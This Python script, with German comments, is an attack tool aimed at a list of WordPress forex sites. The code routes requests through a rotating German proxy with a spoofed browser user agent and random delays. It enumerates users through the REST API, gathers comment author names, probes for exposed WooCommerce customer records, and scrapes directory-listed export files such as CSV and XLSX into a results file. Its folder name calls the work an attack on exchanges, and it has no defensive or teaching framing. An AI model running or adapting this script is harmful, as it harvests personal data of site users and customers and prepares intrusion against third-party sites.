#!/usr/bin/env python3
# WP-Deep: User-Enumeration + offene REST-Routen + Plugins auf WP-Forex-Zielen
import json, time, random, re, sys, os, urllib.request as ur, urllib.error

targets = json.load(open(sys.argv[1]))
BASE = "/home/marcel7364/investoren-daten/forex/boersen_angriff"
OUT = f"{BASE}/wpdeep_results.json"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"

def get_proxy():
    for _ in range(5):
        try:
            return json.loads(ur.urlopen(f"http://127.0.0.1:8110/proxy?country=DE&session=fxwpdeep&ttl=14000", timeout=15).read())["proxy_url"]
        except Exception:
            time.sleep(4)
    return None
proxy_url = get_proxy()
def opener():
    if not proxy_url: return ur.build_opener()
    op = ur.build_opener(ur.ProxyHandler({"http": proxy_url, "https": proxy_url}))
    op.addheaders = [("User-Agent", UA)]
    return op
op = opener()

def req(url, n=60000, timeout=20):
    try:
        with op.open(ur.Request(url), timeout=timeout) as r:
            return {"status": r.status, "body": r.read(n).decode("utf-8", "replace")}
    except urllib.error.HTTPError as e:
        try: b = e.read(1000).decode("utf-8", "replace")
        except Exception: b = ""
        return {"status": e.code, "body": b}
    except Exception as e:
        return {"status": -1, "body": f"ERR {type(e).__name__}"}

results = {}
if os.path.exists(OUT): results = json.load(open(OUT))

def is_json(b):
    t=b.strip()
    if not t or t[0] not in "[{": return False
    try: json.loads(t); return True
    except Exception: return False

for d in targets:
    if d in results: continue
    entry = {}
    base = f"https://{d}"
    # users (rest)
    r = req(base + "/wp-json/wp/v2/users?per_page=100")
    if r["status"] == 200 and is_json(r["body"]):
        try:
            users = json.loads(r["body"])
            entry["users"] = [{"id": u.get("id"), "name": u.get("name"), "slug": u.get("slug")} for u in users]
        except Exception: pass
    time.sleep(random.uniform(0.8, 1.6))
    # comments (können Autoren-E-Mails enthalten)
    r = req(base + "/wp-json/wp/v2/comments?per_page=100")
    if r["status"] == 200 and is_json(r["body"]):
        try:
            cm = json.loads(r["body"])
            if isinstance(cm, list) and cm:
                entry["comments_n"] = len(cm)
                entry["comment_authors"] = [c.get("author_name") for c in cm[:30]]
        except Exception: pass
    time.sleep(random.uniform(0.8, 1.6))
    # WooCommerce customers via REST (falls offen — selten)
    r = req(base + "/wp-json/wc/v3/customers?per_page=20")
    if r["status"] == 200 and is_json(r["body"]):
        try:
            cust = json.loads(r["body"])
            if isinstance(cust, list) and cust and isinstance(cust[0], dict):
                entry["woo_customers"] = {"n": len(cust), "head": r["body"][:400]}
        except Exception: pass
    time.sleep(random.uniform(0.8, 1.6))
    # Search-Plugin / Kontakt-Export-Feeds (WP All Export legt oft /wp-content/uploads/exports/ ab)
    r = req(base + "/wp-content/uploads/exports/", n=20000)
    if r["status"] == 200 and re.search(r'Index of /|Parent Directory', r["body"]):
        files = re.findall(r'href="([^"]+\.(?:csv|xlsx?|xml|json))"', r["body"], re.I)
        if files: entry["export_feed"] = {"files": files[:30]}
    time.sleep(random.uniform(0.8, 1.6))
    results[d] = entry
    if sum(1 for v in results.values() if v) % 5 == 0:
        json.dump(results, open(OUT, "w"), ensure_ascii=False)
        print(f"{sum(1 for v in results.values() if v)} Treffer / {len(results)}", flush=True)
    json.dump(results, open(OUT, "w"), ensure_ascii=False)
    time.sleep(random.uniform(1.0, 2.0))

json.dump(results, open(OUT, "w"), ensure_ascii=False)
print(f"FERTIG {len(results)} (Treffer: {sum(1 for v in results.values() if v)})", flush=True)
